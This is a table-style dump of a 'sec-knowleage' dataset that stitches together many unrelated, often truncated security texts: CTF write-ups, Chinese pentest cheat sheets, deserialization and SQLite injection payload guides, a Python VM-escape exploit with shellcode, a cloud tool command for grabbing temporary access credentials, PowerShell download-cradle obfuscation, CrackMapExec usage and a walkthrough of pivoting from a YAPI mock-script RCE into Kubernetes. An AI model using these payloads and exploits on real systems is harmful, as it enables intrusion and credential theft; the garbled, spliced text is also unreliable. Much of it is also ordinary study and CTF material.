text stringlengths 100 9.93M | category stringclasses 11
values |
|---|---|
# Computed Shopping Assistant
Category: Reversing, 200 Points
## Description
> Welcome to Computed Shopping Assistant!
>
> The place where you can manage your shopping cart, and get substantial discounts with our special promotion coupons!
>
> We have given all CSA candidates a free 10% OFF coupon:
>
> `NOT_A_FLAG{I... | sec-knowleage |
---
title: 一键获得临时访问凭证
---
## 一键获得阿里云的临时访问凭证
使用 `-m` 命令一键获得临时访问凭证
```bash
cf alibaba ecs exec -m
```
指定单个实例获取临时访问凭证
```bash
cf alibaba ecs exec -m -i i-abcdefghijklmn
```
## 一键获得腾讯云的临时访问凭证
### 云服务器
```bash
cf tencent cvm exec -m
```
### 轻量应用服务器
```bash
cf tencent lh exec -m
```
::: tip Tips
* 当获得临时访问凭证后,可以将这个临时访问凭证配置到 C... | sec-knowleage |
version: '2'
services:
apache:
build: .
ports:
- "8080:80"
tomcat:
image: vulhub/tomcat:8.5.19 | sec-knowleage |
# Postbook - FLAG3
## 0x00 View Post
http://127.0.0.1/1234567890/index.php?page=view.php&id=1

## 0x01 FLAG
The id seems can be change to very large value (189 * 5 = 945).
http://127.0.0.1/1234567890/index.php?page=view.php&id=945
 | sec-knowleage |
## Jigsaw (Misc)
tl;dr Solve the jigsaw, get letter indexes from binary
We're given 64 pieces of puzzle, after taking a quick glance, we've noticed that some of them have white background and other ones black. So there are either 2 puzzles to be solved or some of the pieces have had their colors inverted.
We've deci... | sec-knowleage |
# YAML Deserialization
## Summary
* [Tools](#tools)
* [Exploit](#exploit)
* [PyYAML](#pyyaml)
* [ruamel.yaml](#ruamelyaml)
* [Ruby](#ruby)
* [SnakeYAML](#snakeyaml)
* [References](#references)
## Tools
* [j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-... | sec-knowleage |
# Micro8
Infiltration attack for more than ten years, due to age, physical reasons, I feel that I am about to exit the first-line penetration attack. I plan to write out the textbooks I have learned in my life. Because the article involves sensitive attack behavior, so many need to mosaic, or local manifestation in t... | sec-knowleage |
# Node Deserialization
## Summary
* [Exploit](#exploit)
* [node-serialize](#node-serialize)
* [funcster](#funcster)
* [References](#references)
## Exploit
* In Node source code, look for:
* `node-serialize`
* `serialize-to-js`
* `funcster`
### node-serialize
> An issue was discovered in the node-ser... | sec-knowleage |
---
title: Jira
date: 2022-11-23 16:23:31.697708
background: bg-[#417eef]
label:
tags:
-
-
categories:
- Keyboard Shortcuts
intro: |
A visual cheat-sheet for the 44 keyboard shortcuts found in Jira
---
Keyboard Shortcuts
------------------
### Global Shortcuts
Shortcut | Action
---|---
`G` `D` | Go... | sec-knowleage |
# JAVA代码审计
---
## 免责声明
`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`
---
**相关文章**
- [一次从内网到外网,黑盒到白盒的批量挖洞经历](http://www.0dayhack.net/index.php/1957/)
- [java审计基础](https://mp.weixin.qq.com/s/cHMNjKDSjK5aSoMHjRWUcg)
- [简单java代码审计?](https://mp.weixin.qq.com/s/88Tsr8NBX03sFlG1Vfz-aw)
- [代码审计_Sylon的博客-CSDN博客_代码审计](htt... | sec-knowleage |
# 非线性反馈移位寄存器
## 介绍
为了使得密钥流输出的序列尽可能复杂,会使用非线性反馈移位寄存器,常见的有三种
- 非线性组合生成器,对多个 LFSR 的输出使用一个非线性组合函数
- 非线性滤波生成器,对一个 LFSR 的内容使用一个非线性组合函数
- 钟控生成器,使用一个(或多个)LFSR 的输出来控制另一个(或多个)LFSR 的时钟
## 非线性组合生成器
### 简介
组合生成器一般如下图所示。
### Geffe
这里我们以 Geffe 为例进行介绍。Geffe 包含 3 个线性反馈移位寄存器,非线性组合函数为
$F(x_1,x_2,x_3)=(x_1 \and x_2) \oplus (\urcorner x_1... | sec-knowleage |
### 协议分析概述
网络协议为计算机网络中进行数据交换而建立的规则、标准或约定的集合。例如,网络中一个微机用户和一个大型主机的操作员进行通信,由于这两个数据终端所用字符集不同,因此操作员所输入的命令彼此不认识。为了能进行通信,规定每个终端都要将各自字符集中的字符先变换为标准字符集的字符后,才进入网络传送,到达目的终端之后,再变换为该终端字符集的字符。当然,对于不相容终端,除了需变换字符集字符外还需转换其他特性,如显示格式、行长、行数、屏幕滚动方式等也需作相应的变换。
相应的,我们在协议分析这一章节中,将会从以下几个方面来介绍这一部分的知识:
- `Wireshark` 常用功能的介绍
- `HTTP` 协议分析
- `HTTPS`... | sec-knowleage |
第八季中提到了 certutil 的加密与解密。
```bash
C:\>certutil -encode c:\downfile.vbs downfile.bat
```
而配合 powershell 的内存加载,则可把 certutil 发挥更强大。
**靶机:windows 2012**
而今天需要的是一款 powershell 的混淆框架的配合
https://github.com/danielbohannon/Invoke-CradleCrafter
使用方法:
```bash
Import-Module ./Invoke-CradleCrafter.psd1 Invoke-CradleCrafter
```
... | sec-knowleage |
# admin panel
Forensics, 150 points
## Description:
> We captured some traffic logging into the admin panel, can you find the password?
A pcap file was attached ("data.pcap").
## Solution:
We can use WireShark to inspect the network capture via a GUI, or `tshark` as a command line utility.
First, we search for packets... | sec-knowleage |
# Secret Key
Category: Crypto, 300 Points
## Description
> Our intelligence intercepted an encrypted message.
>
> Put your skills to use, retrieve the secret key and decrypt the message. We know the secret key had been divided amongst five entities. The original key can only be recovered, when at least three of the en... | sec-knowleage |
from django.urls import include, path, re_path
from . import views
urlpatterns = [
path('vuln/', views.vul),
] | sec-knowleage |
.\" -*- nroff -*-
.TH BADBLOCKS 8 "July 2000" "E2fsprogs version 1.19"
.SH NAME
badblocks \- 查询设备的坏区块
.SH 语法(SYNPSIS)
.B badblocks
[
.B \-svwnf
]
[
.B \-b
.I block-size
]
[
.B \-c
.I blocks_at_once
]
[
.B \-i
.I input_file
]
[
.B \-o
.I output_file
]
[
.B \-p
.I num_passes
]
.I device
[
.I blocks-count
] [
.I start-blo... | sec-knowleage |
# Science Mission
* Category: Forensics
* 350 Points
* Solved by the JCTF Team
## Description
> One of NASA's radio telescopes, while on a routine mission to search for life in other galaxies, recorded these strange sounds.
>
> Can you help NASA decipher them?
A zip file was attached.
## Solution
Let's try to unzip th... | sec-knowleage |
# PWNOS:1.0
下载地址:https://download.vulnhub.com/pwnos/pWnOS_v1.0.zip
> 需点击移动虚拟机,不然网络获取不到IP地址
## 实战操作
扫描到靶场IP地址:`192.168.2.129`

扫描对外端口
```
┌──(root💀kali)-[~/Desktop]
└─# nmap -sT -sV -p1-65535 192.168.2.129 ... | sec-knowleage |
# APT42 - Part 1 (re, 288 pts, 22 solves)
> We have detected weird traffic on our network and we cannot figure out the source. Forensics didn't find anything besides maybe the NTP service binaries which have been modified recently on some hosts. We ran them through the sandboxes and they seem to work as intended, can y... | sec-knowleage |
htpasswd
===
apache服务器创建密码认证文件
## 补充说明
**htpasswd命令** 是Apache的Web服务器内置工具,用于创建和更新储存用户名、域和用户基本认证的密码文件。
### 语法
### htpasswd(选项)(参数)
### 选项
```shell
-c:创建一个加密文件;
-n:不更新加密文件,只将加密后的用户名密码显示在屏幕上;
-m:默认采用MD5算法对密码进行加密;
-d:采用CRYPT算法对密码进行加密;
-p:不对密码进行进行加密,即明文密码;
-s:采用SHA算法对密码进行加密;
-b:在命令行中一并输入用户名和密码而不是根据提示输入密码;
-D:删除指定的用户。
```
... | sec-knowleage |
.\" auto-generated by docbook2man-spec $Revision: 1.1 $
.TH "CREATE TABLE" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands"
.SH NAME
CREATE TABLE \- 定义一个新表
.SH SYNOPSIS
.sp
.nf
CREATE [ [ GLOBAL | LOCAL ] { TEMPORARY | TEMP } ] TABLE \fItable_name\fR (
{ \fIcolumn_name\fR \fIdata_type\fR [ DEFAULT \fIdef... | sec-knowleage |
## 责任链(Chain Of Responsibility)
### Intent
使多个对象都有机会处理请求,从而避免请求的发送者和接收者之间的耦合关系。将这些对象连成一条链,并沿着这条链发送该请求,直到有一个对象处理它为止。
### Class Diagram
- Handler:定义处理请求的接口,并且实现后继链(successor)
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/ca9f23bf-55a4-47b2-9534-a28e35397988.png"/> </div><br>
###... | sec-knowleage |
# primitive, crypto
This was quite an interesting challenge. We were given a Python code of a server running on their host.
It generated and sent a random permutation of 256 bytes and treated it as substitution cipher. Our task was to supply
a sequence of operations, that when applied to any byte `c`, would give `perm[... | sec-knowleage |
import struct
import sys
import hashlib
from better_zip import *
"""
[03:17-adam ~/CTF/gctf/zip]" python notes.py stuff.zip after_ins.png aabbccddaabbccddaabbccddaabbccddaabbccdd
"\xf5Q\xcd\xb9\xab\x9a\x89h\xe4\xed\xe4\xd6\xc8\x98\x8e\xac\xf0'\xd3\xa0"
LSFR: 20 467988 872949
LSFR: 20 644596 703388
LSFR: 20 317451 5595... | sec-knowleage |
package org.vulhub;
import junit.framework.Test;
import junit.framework.TestCase;
import junit.framework.TestSuite;
/**
* Unit test for simple App.
*/
public class AppTest
extends TestCase
{
/**
* Create the test case
*
* @param testName name of the test case
*/
public AppTest( Stri... | sec-knowleage |
# SQLite Injection
## Summary
* [SQLite comments](#sqlite-comments)
* [SQLite version](#sqlite-version)
* [String based - Extract database structure](#string-based---extract-database-structure)
* [Integer/String based - Extract table name](#integerstring-based---extract-table-name)
* [Integer/String based - Extract col... | sec-knowleage |
# Exploitation
> This binary is running on pwn.rhme.riscure.com. Analyze it and find a way to compromise the server.
> You’ll find the flag in the filesystem.
In this task we were given two files, the server binary and libc installed on their system.
The binary was listening on port 1337 and allowing a simple team cre... | sec-knowleage |
### Airdrop Hunting原理
薅羊毛攻击指使用多个不同的新账户来调用空投函数获得空投币并转账至攻击者账户以达到财富累计的一种攻击方式。这类攻击方式较为普通且常见,只要是有空投函数的合约都能够进行薅羊毛。其中首个自动化薅羊毛攻击出现在 [Simoleon](https://paper.seebug.org/646/) 上。 | sec-knowleage |
exportfs
===
管理NFS共享文件系统列表
## 补充说明
exportfs 命令用来管理当前NFS共享的文件系统列表。
参数:
```shell
-a 打开或取消所有目录共享。
-o options,...指定一列共享选项,与 exports(5) 中讲到的类似。
-i 忽略 /etc/exports 文件,从而只使用默认的和命令行指定的选项。
-r 重新共享所有目录。它使 /var/lib/nfs/xtab 和 /etc/exports 同步。 它将 /etc/exports 中已删除的条目从 /var/lib/nfs/xtab 中删除,将内核共享表中任何不再有效的条目移除。
-u 取消一个或多个目录的共享。
-f 在... | sec-knowleage |
# Openfire管理后台认证绕过漏洞(CVE-2023-32315)
Openfire 是根据开放源 Apache 许可获得许可的实时协作(RTC)服务器。
在Openfire版本4.7.4和4.6.7及以前,Openfire的Web管理后台存在一处目录穿越漏洞,这将允许攻击者绕过权限校验访问所有受限页面。
参考文档:
- <https://github.com/igniterealtime/Openfire/security/advisories/GHSA-gw42-f939-fhvm>
- <https://mp.weixin.qq.com/s/EzfB8CM4y4aNtKFJqSOM1w>
## 漏洞环境
执行... | sec-knowleage |
# T1592-002-收集目标组织主机信息-软件信息
## 来自ATT&CK的描述
攻击者可能会事先收集攻击目标的主机软件信息,可能包括各种细节信息如主机上的软件类型和版本,是否有防御软件(如防病毒、SIEM组件)等。
软件信息可能是攻击者通过[主动扫描](https://contribute.knowledge.qihoo.net/detail/technique/T1595)(例如监听端口,服务器banner,用户代理字符串),[钓鱼](https://contribute.knowledge.qihoo.net/detail/technique/T1598),或攻击网站后使用恶意软件等方式主动收集的(引自:ATT ScanB... | sec-knowleage |
# Hello-Java-Sec 学习
---
## 免责声明
`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`
---
- 项目地址 : https://github.com/j3ers3/Hello-Java-Sec
---
## 部署
配置数据库连接 application.properties
```
spring.datasource.url=jdbc:mysql://127.0.0.1:3306/test
spring.datasource.username=root
spring.datasource.password=1234567
```
编译并运行
```
... | sec-knowleage |
# CheckRemoteDebuggerPresent
## 关于CheckRemoteDebuggerPresent
`kernel32`的`CheckRemoteDebuggerPresent()`函数用于检测指定进程是否正在被调试. `Remote`在单词里是指同一个机器中的不同进程.
``` c
BOOL WINAPI CheckRemoteDebuggerPresent(
_In_ HANDLE hProcess,
_Inout_ PBOOL pbDebuggerPresent
);
```
如果调试器存在(通常是检测自己是否正在被调试), 该函数会将`pbDebuggerPresent`指向的值设为`0... | sec-knowleage |
# 安全产品杂记
记载一些有趣的安全产品。
- Silo for Research (Toolbox),Authentic8,https://www.authentic8.com/products/silo-for-research/
- 一种安全、匿名的网页浏览解决方案,允许用户在开放、深度和黑暗的网页上进行研究、收集证据和分析数据
- > ***完全隔离:****所有的网络代码都是在Silo服务器上执行的,而不是终端用户设备*
>
> ***基于云:****每次创建干净实例的转键、云托管解决方案*
>
> ***管理属性:**... | sec-knowleage |
### Android 关键代码定位
AndroidManifest.xml文件
- 软件包名
- apk主活动,隐藏程序没有主Activity
Application在 java层启动最早,
### Android 关键代码定位顺序分析
最常见也是最有用的方法就是,我们顺着程序的逻辑依次查看程序的代码来进行分析,但是当程序代码量特别大时候,这一方法的效率就比较低下,需要其他方法来辅助。
### Android 关键代码定位字符串定位法
所谓字符串定位法就是通过在程序程序运行过程中出现的字符串来定位相应的函数。字符串有可能被直接硬编码在程序中,也有可能通过字符串id来索引。这一方法故去使用比较方便,但现在的话,有可能字符串会被分开或... | sec-knowleage |
from library import *
import sys
# python collect_same.py traces.npz 10 0x41
n = int(sys.argv[2])
inputs = np.full((n, 16), int(sys.argv[3], 0), dtype=np.uint8)
collect(sys.argv[1], inputs) | sec-knowleage |
## 访问者(Visitor)
### Intent
为一个对象结构(比如组合结构)增加新能力。
### Class Diagram
- Visitor:访问者,为每一个 ConcreteElement 声明一个 visit 操作
- ConcreteVisitor:具体访问者,存储遍历过程中的累计结果
- ObjectStructure:对象结构,可以是组合结构,或者是一个集合。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/79c6f036-bde6-4393-85a3-ef36a0327bd2.p... | sec-knowleage |
# NFC
Category: Reversing, 200 points
## Description
> Our target adopted a new way to keep sensitive information! They use secure NFC tags to keep secure and confidential information inside them.
>
> We managed to place a strong NFC reader near our target’s secret NFC tag. Now we want to communicate with the that tag... | sec-knowleage |
### Snort
<p align="center">
<img src="../../../assets/img/logo/Snort.webp" width="25%">
</p>
---
## 免责声明
`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`
---
**官网**
- https://www.snort.org/
**简介**
Snort 是开源的基于误用检测的网络入侵检测系统,采用规则匹配机制检测网络分组是否违反了事先配置的安全策略。安装在一台主机上就可以监测整个共享网段,一旦发现入侵和探测行为,具有将报警信息发送到系统日志、报警文件或控制台屏幕等多... | sec-knowleage |
tail
===
在屏幕上显示指定文件的末尾若干行
## 补充说明
**tail命令** 用于输入文件中的尾部内容。
- 默认在屏幕上显示指定文件的末尾10行。
- 处理多个文件时会在各个文件之前附加含有文件名的行。
- 如果没有指定文件或者文件名为`-`,则读取标准输入。
- 如果表示字节或行数的`NUM`值之前有一个`+`号,则从文件开头的第`NUM`项开始显示,而不是显示文件的最后`NUM`项。
- `NUM`值后面可以有后缀:
- `b` : 512
- `kB` : 1000
- `k ` : 1024
- `MB` : 1000 * 1000
- `M ` : 1024 * 1024
- `GB... | sec-knowleage |
##Dictator (Recon, 300p)
Your simple good Deeds can save you but your GREED can kill you.
This has happened before.
This greedy person lived a miserable life just for the greed of gold and lust.
You must know him, once you know him, you must reach his capital and next clues will be given by his famous EX-Body G... | sec-knowleage |
**注:**请多喝点热水或者凉白开,可预防**肾结石,痛风**等。
CrackMapExec弥补了MSF4下auxiliary,scanner模块下的Command执行方式,但MSF5已解决该问题。在MSF4下,该框架针对后渗透的横向移动经常出现,虽然MSF5已解决该问题,但该框架在配合bloodhound与empire依然目前有一定优势。
安装方式:from Wiki:
### Kali:
```bash
apt‐get install crackmapexec
```
但作者推荐pipenv安装:
```bash
apt‐get install ‐y libssl‐dev libffi‐dev python‐dev build‐... | sec-knowleage |
---
title: DMitry
categories: Information Gathering
tags: [information gathering,recon,dmitry,kali linux,portscanning]
date: 2016-10-20 08:19:00
---
0x00 DMitry介绍
-------------
DMitry(Deepmagic Information Gathering Tools 深度信息收集工具)是一个linux下用C语言写的工具。它能够尽可能的获取指定主机目标的信息。基础功能是获取目标的子域名,Email地址,运行时间相关信息,tcp端口,whois信息等等。
特性:
... | sec-knowleage |
from flask import Flask, request, redirect
from imageai.Prediction import ImagePrediction
import numpy as np
from PIL import Image
import os
app = Flask(__name__)
# Heard that these kind of models are vulnerable to adversarial attacks
prediction = ImagePrediction()
prediction.setModelTypeAsResNet()
prediction.setMod... | sec-knowleage |
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5.
.\"*******************************************************************
.\"
.\" This file was generated with po4a. Translate the source file.
.\"
.\"*******************************************************************
.TH TTY 1 2022年9月 "GNU coreutils 9.1"... | sec-knowleage |
# Monitoring
> https://download.vulnhub.com/monitoring/Monitoring.ova
靶场IP:`192.168.2.133`
扫描对外端口服务
```
┌──(root💀kali)-[~]
└─# nmap -p1-65535 -sV 192.168.2.133 ... | sec-knowleage |
# Secure-Linux
<p align="center">
<a href="https://commons.wikimedia.org/wiki/File:William_J._McCloskey_(1859%E2%80%931941),_Wrapped_Oranges,_1889._Oil_on_canvas._Amon_Carter_Museum_of_American_Art.jpg"><img src="../../../assets/img/banner/Secure-Linux.jpg" width="90%"></a>
</p>
<p align="center">
<a href="http... | sec-knowleage |
# Apache Spark 未授权访问漏洞
Apache Spark是一款集群计算系统,其支持用户向管理节点提交应用,并分发给集群执行。如果管理节点未启动ACL(访问控制),我们将可以在集群中执行任意代码。
参考链接:
- https://weibo.com/ttarticle/p/show?id=2309404187794313453016
- https://xz.aliyun.com/t/2490
## 漏洞环境
执行如下命令,将以standalone模式启动一个Apache Spark集群,集群里有一个master与一个slave:
```
docker compose up -d
```
环境启动后,访... | sec-knowleage |
---
title: bulk-extractor
categories: Forensics Tools
tags: [forensics,kali linux,bulk-extractor]
date: 2017-09-07 09:22:00
---
0x00 介绍
-------------
bulk_extractor是从数字证据文件中提取诸如电子邮件地址,信用卡号,URL和其他类型的信息的功能的程序。 它是一个有用的取证调查工具,可以用于许多任务,如恶意软件和入侵调查,身份调查和网络调查,以及图像分析和密码破解。 该程序提供了几个不寻常的功能:
1.发现其他工具发现不了的信息,如电子邮件地址,URL和信用卡号码,... | sec-knowleage |
# TempImage - FLAG0
## 0x00 Index

## 0x01 Upload

The image is successfully uploaded to the site.
```
http://127.0.0.1:5001/xxxxxxxxxx/files/d10c88f869301b1238f53cfdff8e9d7c_img.png
```
## 0x02 Modify File Name
Modify file name in Burp
```
Content-Disposition: form-data; name... | sec-knowleage |
bind
===
显示或设置键盘按键与其相关的功能
## 补充说明
**bind命令** 用于显示和设置命令行的键盘序列绑定功能。通过这一命令,可以提高命令行中操作效率。您可以利用bind命令了解有哪些按键组合与其功能,也可以自行指定要用哪些按键组合。
### 语法
```shell
bind(选项)
```
### 选项
```shell
-d:显示按键配置的内容;
-f<按键配置文件>:载入指定的按键配置文件;
-l:列出所有的功能;
-m<按键配置>:指定按键配置;
-q<功能>:显示指定功能的按键;
-v:列出目前的按键配置与其功能。
```
### 实例
```shell
bind -x '"\C-l":ls -l'... | sec-knowleage |
pr
===
将文本文件转换成适合打印的格式
## 补充说明
**pr命令** 用来将文本文件转换成适合打印的格式,它可以把较大的文件分割成多个页面进行打印,并为每个页面添加标题。
### 语法
```shell
pr(选项)(参数)
```
### 选项
```shell
-e<制表符[宽度]>(--expand-tabs=<制表符[宽度]>):将制表符(或制表符)转换为空格.如果指定了宽度,则将制表符转换为宽度字符,默认为8;
-h<标题>:为页指定标题;
-i<out-tab-char[out-tab-width>(--output-tabs<out-tab-char[out-tab-width]>):在输出中用制表符替换... | sec-knowleage |
#!/usr/bin/python2
from pwn import *
def exploit(connection):
marker = "deadbeef"
stage1 = """
entry:
mov esp, 0xbef00000
sub esp, 0x200
std
push 0
push 0xdead0000 + hijack_64 - entry
mov edi, 2 ... | sec-knowleage |
newusers
===
用于批处理的方式一次创建多个命令
## 补充说明
**newusers命令** 用于批处理的方式一次创建多个命令。
### 语法
```shell
newusers(参数)
```
### 参数
用户文件:指定包含用户信息的文本文件,文件的格式要与`/etc/passwd`相同。
### 实例
实用newusers命令批量添加用户:
用法很简单,newusers后面直接跟一个文件,文件格式和`/etc/passwd`的格式相同。
```shell
用户名1:x:UID:GID:用户说明:用户的家目录:所用SHELL
```
举例:
```shell
jingang0:x:520:520::/home/... | sec-knowleage |
# Investigative Reversing 0
Forensics, 300 points
## Description:
> We have recovered a binary and an image. See what you can make of it. There should be a flag somewhere.
## Solution:
We receive a binary file and an image. Let's inspect the binary with Ghidra:
```c
void main(void)
{
long lVar1;
FILE *__flag_strea... | sec-knowleage |
# 16. 数值的整数次方
## 题目链接
[牛客网](https://www.nowcoder.com/practice/1a834e5e3e1a4b7ba251417554e07c00?tpId=13&tqId=11165&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking&from=cyc_github)
## 题目描述
给定一个 double 类型的浮点数 x和 int 类型的整数 n,求 x 的 n 次方。
## 解题思路
<!-- <div align="center"><img src="https://lat... | sec-knowleage |
#include <iostream>
#include <deque>
#include <sstream>
#include <iomanip>
#include <cmath>
#include <X11/Xlib.h>
#include <X11/Xutil.h>
#include <X11/extensions/XTest.h>
#include "xsim.h"
using namespace std;
const int keys[] = {XK_Down, XK_Up, XK_Left, XK_Right};
string lines[36];
int odw[500][500];
deque<int> sol;
... | sec-knowleage |
.TH KILLALL 1 1999年9月7日 Linux User Commands(用户命令)
.SH NAME (名称)
killall \- 以名字方式来杀死进程
.SH SYNOPSIS (总览)
.ad l
.B killall
.RB [ \-egiqvw ]
.RB [ \-\fIsignal\fB ]
.I name ...
.br
.B killall
.RB \-l
.br
.B killall
.RB \-V
.ad b
.SH DESCRIPTION (描述)
.B killall
发送一条信号给所有运行任意指定命令的进程.
如果没有指定信号名, 则发送 SIGTERM.
.PP
信号可以以名字... | sec-knowleage |
# containerd
> 项目地址 : https://github.com/containerd/containerd
---
## 安装
如果你安装了docker,你的主机里就会有 containerd
所以这里略
## 使用
```bash
containerd -h
ctr -h
```
**pull image**
```bash
ctr images pull docker.io/library/golang:latest
ctr images ls -q # -q for only the name
```
**delect image**
```bash
ctr images rm docker.io/li... | sec-knowleage |
# MSSQL
> fofa : app="Microsoft-SQL-Server"
**MSSQL 基础**
- [MSSQL](../../../../Integrated/数据库/笔记/MSSQL.md)
**MSSQL 注入**
- [MSSQL数据库注入笔记](../../Web安全/Web_Generic/SQLi.md#MSSQL)
**环境搭建**
- [MSSQL搭建](../../../../Integrated/Windows/实验/MSSQL搭建.md)
**相关教程**
- [aleenzz/MSSQL_SQL_BYPASS_WIKI](https://github.com/aleenzz/MSSQL_S... | sec-knowleage |
## Mess of Hash (Web, 50p)
Students have developed a new admin login technique. I doubt that it's secure, but the
hash isn't crackable. I don't know where the problem is...
###ENG
[PL](#pl-version)
In this task, we got a hash of password and are asked to log into the account. The hash was as
follows: 0e4083065367307... | sec-knowleage |
# babyshell [242 points] (38 solves)
Files:
- task.tgz
## Part 0: research
We found ourselves with a qemu image, which after quick google, can be unpacked with a simple `lz4 initramfs.release.img.lz4 | cpio -i`. There we can inspect `/init`
```bash
#! /bin/sh
mount -t devtmpfs dev /dev
mount -t proc proc /proc
mount -... | sec-knowleage |
# MongoDB未授权访问漏洞
## 漏洞描述
启动MongoDB服务时不添加任何参数时,默认是没有权限验证的,登录的用户可以通过默认端口无需密码对数据库任意操作(增删改高危动作)而且可以远程访问数据库。
## 环境搭建
docker下载mongo镜像
```
docker run -it -p 27017:27017 mongo
```
## 漏洞复现
### cli执行
```
┌──(root💀kali)-[~]
└─# mongo 192.168.32.131
MongoDB shell version v5.3.1
connecting to: mongodb://192.168.32.131:27017/tes... | sec-knowleage |
# Adminer Remote Arbitrary File Read (CVE-2021-43008)
[中文版本(Chinese version)](README.zh-cn.md)
Adminer is a tool for managing content in databases developed by PHP. It natively supports MySQL, MariaDB, PostgreSQL, SQLite, MS SQL, Oracle, Elasticsearch and MongoDB.
Improper Access Control in Adminer versions 1.12.0 t... | sec-knowleage |
# keygen-me-1
Reversing, 400 points
## Description:
> Can you generate a valid product key for the validation program?
A binary file was attached.
## Solution:
Let's run the executable:
```console
root@kali:/media/sf_CTFs/pico/keygen-me-1# ./activate
Usage: ./activate <PRODUCT_KEY>
```
As expected, we need to provide a... | sec-knowleage |
## Hail Zeus (Crypto, 300p)
> Asking Hermes to gath'r intel on the foe, he recover'd the blueprint of their transmitt'r bef're
> getting captur'd. It’s been ov'r a month of radio silence. but wait... all hail Zeus, as they restart'd
> communication when he strok'd them with a lightning:
###ENG
[PL](#pl-version)
Altho... | sec-knowleage |
# 35. 复杂链表的复制
[NowCoder](https://www.nowcoder.com/practice/f836b2c43afc4b35ad6adc41ec941dba?tpId=13&tqId=11178&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking&from=cyc_github)
## 题目描述
输入一个复杂链表(每个节点中有节点值,以及两个指针,一个指向下一个节点,另一个特殊指针指向任意一个节点),返回结果为复制后复杂链表的 head。
```java
public class RandomLis... | sec-knowleage |
# T1059-windows-进程生成CMD
## 来自ATT&CK的描述
命令行界面提供了一种与计算机系统交互的方式,并且是许多类型的操作系统平台的常见功能。windows系统上的一个示例命令行界面是[cmd](https://attack.mitre.org/software/S0106),它可用于执行许多任务,包括执行其他软件。可以通过远程桌面应用程序本地或远程交互,反向shell会话等方式运行命令行界面。执行的命令以命令行界面进程的当前权限级别运行,除非该命令包含更改权限上下文的进程调用执行(例如[计划任务](https://attack.mitre.org/techniques/T1053))。
攻击者可以使用命令行界面... | sec-knowleage |
# MagicHat (Pwn, 321p, 9 solved)
[PL](#pl-version)
In the task we get a [client](magic_hat_client.jar) for Java RMI application.
We can add this jar as a library in IntelliJ IDEA project, and it will decompile the code for us.
The code is rather simple, we establish a connection via RMI with the server and then we can ... | sec-knowleage |
# Decrypt message (Crypto, 700p)
In the task we get access to a webpage where we can put username and it stores some encrypted string in our cookie.
The value from cookie must store our username since it's later displayed on the webpage.
We start off by trying to play around with the encryption oracle and with the ciph... | sec-knowleage |
lpadmin
===
配置CUPS套件中的打印机和类
## 补充说明
**lpadmin命令** 用于配置CUPS套件中的打印机和类,也被用来设置打印服务器默认打印机。
### 语法
```shell
lpadmin(选项)(参数)
```
### 选项
```shell
-c:将打印机加入类;
-i:为打印机设置“system V”风格的接口脚本;
-m:从mode目录设置一个标准的“system V”接口脚本或“PPD”文件;
-o:为“PPD”或服务器设置选项;
-r:从类中删除打印机;
-u:设置打印机用户级的访问控制;
-D:为打印机提供一个文字描述;
-E:允许打印机接受打印任务;
-L:为打印机位置提供一个文字描... | sec-knowleage |
#!/usr/bin/env python
import os
from airflow import models, settings
from airflow.contrib.auth.backends.password_auth import PasswordUser
os.system('/entrypoint initdb')
user = PasswordUser(models.User())
user.username = 'vulhub'
user.email = 'vulhub@example.com'
user.password = 'vulhub'
user.superuser = True
session... | sec-knowleage |
from Crypto.PublicKey import RSA
from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes
import random
import signal
import os
import sys
sys.stdout = os.fdopen(sys.stdout.fileno(), 'w', 0)
privkey = RSA.generate(1024)
pubkey = privkey.publickey()
flag = open('./flag').read().strip()
aeskey = os.ur... | sec-knowleage |
---
title: 内网接管 K8s 并逃逸实战
---
<center><h1>RCE 进入内网接管 K8s 并逃逸进 xx 网</h1><b>本文作者:k.so</b><br><br></center>
---
<div align=center><img width="600" src="/img/1686304043.gif"></div>
苏格拉李说过:三分靠技术,七分靠运气
一次运气不错的内网之行 ~
故事从一个可以注册的 YAPI 说起
<img width="500" src="/img/1686304072.png"><br>
注册完进去在创建一个 mock 脚本
```bash
const sandbox = ... | sec-knowleage |
shutdown
===
用来执行系统关机的命令
## 补充说明
**shutdown命令** 用来系统关机命令。shutdown指令可以关闭所有程序,并依用户的需要,进行重新开机或关机的动作。
### 语法
```shell
shutdown(选项)(参数)
```
### 选项
```shell
-c:当执行“shutdown -h 11:50”指令时,只要按+键就可以中断关机的指令;
-f:重新启动时不执行fsck;
-F:重新启动时执行fsck;
-h:将系统关机;
-k:只是送出信息给所有用户,但不会实际关机;
-n:不调用init程序进行关机,而由shutdown自己进行;
-r:shutdown之后重新启动;
-t... | sec-knowleage |
'\"
'\" Copyright (c) 1993 The Regents of the University of California.
'\" Copyright (c) 1994-1996 Sun Microsystems, Inc.
'\"
'\" See the file "license.terms" for information on usage and redistribution
'\" of this file, and for a DISCLAIMER OF ALL WARRANTIES.
'\"
'\"
'\" The definitions below are for supplemental ma... | sec-knowleage |
'\"
'\" Copyright (c) 1996 Sun Microsystems, Inc.
'\"
'\" See the file "license.terms" for information on usage and redistribution
'\" of this file, and for a DISCLAIMER OF ALL WARRANTIES.
'\"
'\" RCS: @(#) $Id: pkgMkIndex.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $
'\"
'\" The definitions below are for supplemental mac... | sec-knowleage |
package org.vulhub.xstreamsample;
import com.thoughtworks.xstream.annotations.XStreamAlias;
@XStreamAlias("user")
public class User {
protected String name;
protected Integer age;
public User(String name, Integer age) {
this.name = name;
this.age = age;
}
public String getName()... | sec-knowleage |
# INCD - Junior Cyber Challenge 2021
This is a short CTF by the Israeli National Cyber Directorate, as part of a recruitment campaign.
## Junior Cyber Analyst
### Document Challenge
> find the flag
We get a file called `jctf.7zp`:
```console
┌──(user@kali)-[/media/sf_CTFs/INCD_2021/Junior_Cyber_Analyst/Document_Challe... | sec-knowleage |
